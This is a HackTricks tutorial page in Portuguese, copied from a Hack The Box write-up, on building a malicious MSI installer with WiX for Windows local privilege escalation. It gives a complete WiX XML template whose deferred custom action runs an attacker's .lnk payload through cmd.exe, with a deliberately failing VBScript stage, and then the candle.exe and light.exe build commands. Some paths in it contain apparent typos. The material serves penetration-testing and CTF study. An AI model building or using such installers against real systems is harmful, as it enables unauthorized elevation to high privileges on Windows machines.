hacktricks/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md
2023-06-06 18:56:34 +00:00

5.3 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Tutorial copiado de https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root
Para criar o msi, usaremos wixtools, você pode usar outros construtores de msi, mas eles não funcionaram para mim.
Confira esta página para alguns exemplos de uso de msi wix.
Criaremos um msi que execute nosso arquivo lnk:

<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
<Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
<Directory Id="TARGETDIR" Name="SourceDir">
<Directory Id="ProgramFilesFolder">
<Directory Id="INSTALLLOCATION" Name="Example">
<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
</Component>
</Directory>
</Directory>
</Directory>
<Feature Id="DefaultFeature" Level="1">
<ComponentRef Id="ApplicationFiles"/>
</Feature>
<Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</Property>
<CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore"
Impersonate="yes"/>
<CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check">
fail_here
</CustomAction>
<InstallExecuteSequence>
<Custom Action="Stage1" After="InstallInitialize"></Custom>
<Custom Action="Stage2" Before="InstallFiles"></Custom>
</InstallExecuteSequence>
</Product>
</Wix>

Vamos usar o candle.exe do wixtools para criar um objeto wix a partir do msi.xml.

candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml

Em seguida, usaremos o light.exe para criar o arquivo msi a partir do objeto wix:

light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥